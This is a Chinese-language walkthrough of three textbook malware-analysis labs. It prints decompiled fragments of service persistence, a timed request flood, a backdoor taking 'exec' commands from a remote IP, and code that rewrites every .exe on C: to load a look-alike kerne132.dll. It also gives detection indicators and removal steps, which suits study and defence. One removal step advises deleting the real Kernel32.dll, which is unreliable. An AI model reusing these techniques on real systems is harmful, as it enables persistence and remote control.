恶意代码分析实战 Lab7

Lab7-1

Q1:当计算机重启之后,这个程序如何保证它继续运行(达到持久化驻留)

创建一个Malservice的服务,并且该服务具有开机自启动的权限。

主函数简单跟一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
SERVICE_TABLE_ENTRYA ServiceStartTable; // [esp+0h] [ebp-10h]
int v5; // [esp+8h] [ebp-8h]
int v6; // [esp+Ch] [ebp-4h]

ServiceStartTable.lpServiceName = aMalservice;
ServiceStartTable.lpServiceProc = createProcess_401040;
v5 = 0;
v6 = 0;
StartServiceCtrlDispatcherA(&ServiceStartTable);
return createProcess_401040();
}

SERVICE_TABLE_ENTRYA结构体定义如下,用于被StartServiceCtrlDispatcher()函数调用,连接程序主线程到服务控制管理程序:

1
2
3
4
typedef struct _SERVICE_TABLE_ENTRYA {
LPSTR lpServiceName; // 服务名称。
LPSERVICE_MAIN_FUNCTIONA lpServiceProc; // 服务入口函数。
}

StartServiceCtrlDispatcher()函数调用:

1
2
3
BOOL StartServiceCtrlDispatcher(
CONST SERVICE_TABLE_ENTRYA *lpServiceStartTable // SERVICE_TABLE_ENTRYA 结构体变量。
);

这里调用了createProcess_401040函数,分析如下:

首先创建一个名为HGL345的互斥量来限制系统只运行了一个该程序,若检测出已创建了该互斥量,程序就会退出:

1
2
3
4
if ( OpenMutexA(MUTEX_ALL_ACCESS, 0, Name) )  // Name=HGL345
// MUTEX_ALL_ACCESS指用所有权限打开这个互斥量
ExitProcess(0);
CreateMutexA(0, 0, Name);

然后打开一个服务控制管理器的句柄,以便这个程序可以添加或者修改服务:

1
v0 = OpenSCManagerA(0, 0, 3u);

获得当前进程的句柄:

1
GetCurrentProcess();

获得当前进程调用的dll的绝对路径,传给Filename:

1
GetModuleFileNameA(0, &Filename, 0x3E8u);

CreateServiceA创建一个服务对象,并将其添加到指定的服务控制管理器数据库。这里使用的就是刚才的Filename路径对应的dll;服务启动类型为SERVICE_AUTO_START,即创建的服务具有开机自启动的权限;服务类型为SERVICE_WIN32_OWN_PROCESS,表明该服务的进程只包含有一个服务;服务名称为Malservice:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
CreateServiceA(
v0,
DisplayName,
DisplayName,
SC_MANAGER_CREATE_SERVICE,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
0,
&Filename,
0,
0,
0,
0,
0); // Dispaly=Malservice

设置该服务的开始时间以及持续时间,设定方式是通过WaitForSingleObject函数在指定时间唤醒这个服务,然后持续时间为0xFFFFFFFF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
*&SystemTime.wYear = 0;
*&SystemTime.wDayOfWeek = 0;
*&SystemTime.wHour = 0;
*&SystemTime.wSecond = 0;
SystemTime.wYear = 2100;
SystemTimeToFileTime(&SystemTime, &FileTime);
v1 = CreateWaitableTimerA(0, 0, 0);
SetWaitableTimer(v1, &FileTime, 0, 0, 0, 0);
if ( !WaitForSingleObject(v1, 0xFFFFFFFF) )
{
v2 = 20;
do
{
CreateThread(0, 0, StartAddress, 0, 0, 0);
--v2;
}
while ( v2 );
}
Sleep(0xFFFFFFFF);

在服务创建时会创建20个线程,执行StartAddress函数:

1
2
3
4
5
6
7
v2 = 20;
do
{
CreateThread(0, 0, StartAddress, 0, 0, 0);
--v2;
}
while ( v2 );

StartAddress函数,使用 User-Agent = szAgent=Internet Explorer 8.0 对http://www.malwareanalysisbook.com的站点进行访问:

1
2
3
4
5
6
7
8
void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter)
{
void *i; // esi

for ( i = InternetOpenA(szAgent, 1u, 0, 0, 0); ; InternetOpenUrlA(i, szUrl, 0, 0, 0x80000000, 0) )// szAgent=Internet Explorer 8.0
// szUrl=http://www.malwareanalysisbook.com
;
}

Q2:为什么这个程序会使用一个互斥量?

确保该程序在一个系统中只会装载为一个进程。

1
2
3
4
if ( OpenMutexA(MUTEX_ALL_ACCESS, 0, Name) )  // Name=HGL345
// MUTEX_ALL_ACCESS指用所有权限打开这个互斥量
ExitProcess(0);
CreateMutexA(0, 0, Name);

Q3:可以用来检测这个程序的基于主机特征是什么?

可以查看一台主机是否启动了Malservice的服务来判断。

Q4:检测这个恶意代码的基于网络特征是什么?

在2100年1月1日以后可以检测出特征:对 http://www.malwareanalysisbook.com 发送User-Agent=Internet Explorer 8.0 的大量请求。

Q5:这个程序的目的是什么?

创建一个服务Malservice,该服务会在2100年1月1日以后持续的对 http://www.malwareanalysisbook.com 站点发送线程数为20的请求,类似Ddos。

Q6:这个程序什么时候完成执行?

当服务开始后,没有外力干涉,永远不会完成执行。

Lab7-2

Q1:这个程序如何完成持久化驻留?

该程序不存在完成持久化驻留的行为。

main函数主要结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 if ( OleInitialize(0) >= 0 )
{
CoCreateInstance(&rclsid, 0, 4u, &riid, &ppv); //0002DF01-0000-0000-C000-000000000046和 D30C1661-CDAF-11D0-8A3E-00C04FC9E26E
if ( ppv )
{
VariantInit(&pvarg);
v7 = 3;
v8 = 1;
v3 = SysAllocString(psz);
(*(*ppv + 44))(ppv, v3, &v7, &pvarg, &pvarg, &pvarg);//.data:00403010 psz: ; DATA XREF: _main+3C↑o
.data:00403010 text "UTF-16LE", 'http://www.malwareanalysisbook.com/ad.html',0
SysFreeString(v3);
}
OleUninitialize();
}

首先判断是否能初始化COM运行环境;

若能则创建一个COM实例,返回的对象会保存到ppv中。这里创建实例的两个参数:

0002DF01-0000-0000-C000-000000000046 , D30C1661-CDAF-11D0-8A3E-00C04FC9E26E

表明了表明了调用程序在注册表中的位置,查找资料后:

D30C1661-CDAF-11D0-8A3E-00C04FC9E26E:IWebBrowser2

0002DF01-0000-0000-C000-000000000046:IE

即该COM对象是对应了这两个程序。

当实例创建成功,使用该COM对象去访问http://www.malwareanalysisbook.com/ad.html,然后退出。

Q2:这个程序的目的是什么?

使用IE或者IWebBrowser2去访问http://www.malwareanalysisbook.com/ad.html

Q3:这个程序什么时候完成执行?

当访问http://www.malwareanalysisbook.com/ad.html完毕后,程序完成执行。

Lab7-3

Q1:这个程序如何完成持久化驻留,来确保在计算机被重启后它能继续运行?

程序将Lab07-3.dll复制到C:\windows\system32\kerne132.dll,并将C:盘中所有导入kernel32.dll的exe改为导入kerne132.dll,以此达到持久化驻留。

分析dll

由于exe文件没有找到明显的调用dll库的函数(loadlibrary或者getProcAddress)所以首先分析dll文件。

dll文件也没有任何导出函数,只存在一个dll entry:

1
DllEntryPoint	100012FA	[main entry]

查看Function call:

首先开辟函数的栈:

1
call    ds:inet_addr

保证程序独享:

1
2
call    ds:OpenMutexA
call ds:CreateMutexA

创建一个socket交互数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
call    ds:WSAStartup
call ds:socket
call ds:inet_addr
call ds:htons
call ds:connect
call ds:send
call ds:shutdown
call ds:recv
call ebp ; strncmp
call ds:Sleep
call ebp ; strncmp
call ebx ; CreateProcessA
call ds:CloseHandle
call ds:closesocket
call ds:WSACleanup

建立socket的恶意代码,疑似远程的shell。

分析socket相关函数,connect函数上下文找到了连接的IP:”127.26.152.13”:

1
2
3
4
5
6
7
8
9
10
11
12
.text:100010A3                 push    offset cp       ; "127.26.152.13"
.text:100010A8 mov [esp+120Ch+name.sa_family], 2
.text:100010AF call ds:inet_addr
.text:100010B5 push 80 ; hostshort
.text:100010B7 mov dword ptr [esp+120Ch+name.sa_data+2], eax
.text:100010BB call ds:htons
.text:100010C1 lea edx, [esp+1208h+name]
.text:100010C5 push 16 ; namelen
.text:100010C7 push edx ; name
.text:100010C8 push esi ; s
.text:100010C9 mov word ptr [esp+1214h+name.sa_data], ax
.text:100010CE call ds:connect

分析这部分的伪代码,connect的是127.26.152.13:80:

1
2
*name.sa_data = htons(80u);
if ( connect(v3, &name, 16) != -1 )

发送了一个”hello”:

1
while ( send(v3, ::buf, strlen(::buf), 0) != -1 && shutdown(v3, 1) != -1 )// buff="hello"

发送”hello”后,将会期望服务器发送一个指令,将指令保存到buf中,针对buf的命令做出以下一些操作:

  1. buf=”sleep”:程序Sleep 0x60000 ms;
  2. buf=”exec”:程序创建一个进程,执行CommandLine中的命令,启动一个程序;
  3. buf=”q”:退出shell;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ( recv(v3, &buf, 4096, 0) > 0 )
{
if ( !strncmp(Str1, &buf, 5u) )//Str1="sleep"
{
Sleep(0x60000u);
}
else if ( !strncmp(aExec, &buf, 4u) )//aExec="exec"
{
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
CreateProcessA(0, &CommandLine, 0, 0, 1, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);
}
else
{
if ( buf == 'q' )
{
CloseHandle(hObject);
break;
}
Sleep(0x60000u);
}
}

分析exe

程序的正常执行需要在执行时附加一个参数”WARNING_THIS_WILL_DESTROY_YOUR_MACHINE”:

1
if ( argc == 2 && !strcmp(argv[1], aWarningThisWil) )// aWarningThisWill=WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

打开了C:\Windows\System32\Kernel32.dll以及Lab07-03.dll:

1
2
3
4
5
6
7
8
9
10
v3 = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);// FileName=C:\Windows\System32\Kernel32.dll
hObject = v3;
v4 = CreateFileMappingA(v3, 0, 2u, 0, 0, 0);
v5 = MapViewOfFile(v4, 4u, 0, 0, 0);
v6 = v5;
argca = v5;
v7 = CreateFileA(ExistingFileName, 0x10000000u, 1u, 0, 3u, 0, 0);// ExistingFilename=Lab07-03.dll
v50 = v7;
if ( v7 == -1 )
exit(0);

接下来调用sub_401040以及sub_401070:

1
2
3
4
5
6
7
call    sub_401040
call sub_401040
call sub_401040
call sub_401040
call sub_401040
call sub_401070
call sub_401040

sub_401040和sub_401070进行了一系列的数学运算,将计算结果返回:

1
2
3
4
5
6
7
8
9
int __cdecl sub_401040(int a1, int a2, int a3)
{
int result; // eax

result = sub_401000(a1, a2);
if ( result )
result = a3 + a1 + *(result + 20) - *(result + 12);
return result;
}
1
2
3
4
5
6
7
8
9
int __cdecl sub_401070(unsigned int a1, int a2, int a3)
{
int result; // eax

result = sub_401000(a1, a2);
if ( result )
result = *(result + 12) - *(result + 20) - a3;
return result;
}

上述的计算以及写入完成后调用了CopyFileA函数,将Lab07-03.dll中的内容复制并保存到C:\windows\system32\kerne132.dll中,拷贝失败退出:

1
2
3
4
if ( !CopyFileA(ExistingFileName, NewFileName, 0) )
// .data:0040307C ExistingFileName db 'Lab07-03.dll',0
//.data:0040304C NewFileName db 'C:\windows\system32\kerne132.dll',0
exit(0);

若拷贝成功,则调用sub_4011E0(aC, 0),这里的aC保存字符串指向的是C盘根目录下的所有文件:

1
.data:00403044 aC              db 'C:\*',0 

sub_4011E0关键分支:

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( !(FindFileData.dwFileAttributes & 0x10)
|| !strcmp(FindFileData.cFileName, asc_403040)//"."
|| !strcmp(FindFileData.cFileName, asc_40303C) )//".."
{
v6 = strlen(FindFileData.cFileName) + 1;
v7 = malloc(strlen(v3) + 1 + strlen(FindFileData.cFileName));
strcpy(v7, lpFileName);
v7[strlen(lpFileName) - 1] = 0;
strcat(v7, FindFileData.cFileName);
if ( !stricmp(&FindFileData.dwReserved0 + v6 + 3, aExe) )//aExe=".exe"
sub_4010A0(v7);
v3 = lpFileName;
}

作用是找到C:\中所有文件夹以及子文件夹中含有”.exe”的文件,然后执行sub_4010A0(v7),v7是找到的文件名:

sub_4010A0是一个查找字符串的函数,即在找到的exe文件中查找某字符串。

在sub_4010A0的子分支中存在复制的操作:

1
2
3
4
5
if ( !stricmp(v10, Str2) )//Str2="kernel32.dll"
{
qmemcpy(v10, &dword_403010, strlen(v10) + 1);//.data:00403010 aKerne132Dll db 'kerne132.dll',0 ; DATA XREF: sub_4010A0+EC↑o
v4 = v12;
}

将kernel32.dll更改为kerne132.dll,kerne132.dll是由Lab07-03.dll拷贝而来。

所以,sub_4011E0函数作用为查找C:盘中所有的exe文件,将exe文件中的”kernel32.dll”改为”kerne132.dll”。

综上,Lab7-3.exe首先将Lab7-3.dll复制到 C:\windows\system32\kerne132.dll,然后将C:盘中的所有exe文件调用kernel32.dll 改为调用kerne132.dll,这样就简介调用了Lab07-3.dll,建立一个与远程服务器的连接,开启一个shell。

Q2:这个恶意代码的两个明显的基于主机特征是什么?

  1. 使用了一个叫kerne132.dll的文件;
  2. 创建一个叫SADFHUHF的互斥量:
1
2
3
.text:10001041                 lea     edi, [esp+1208h+var_FFF]
.text:10001048 push offset Name ; "SADFHUHF"
.text:1000104D rep stosd

Q3:这个程序的目的是什么?

将Lab7-3.dll复制到 C:\windows\system32\kerne132.dll,然后将C:盘中的所有exe文件调用kernel32.dll 改为调用kerne132.dll,这样就间接调用了Lab07-3.dll,建立一个与远程服务器的连接,开启一个shell。

Q4:一旦这个恶意代码被安装,你如何移除它?

无法直接移除,但是可以间接消除其影响:

  1. 通过与sub_4011E0类似的方法,将C:盘中所有exe文件里的kerne132.dll字符串改为kernel32.dll,然后删除
    C:\windows\system32\kerne132.dll以及C:\Windows\System32\Kernel32.dll;

  2. 删除原来的kerne132.dll,将kernel32.dll改名为kerne132.dll;

  3. 恢复系统;

Reference Documents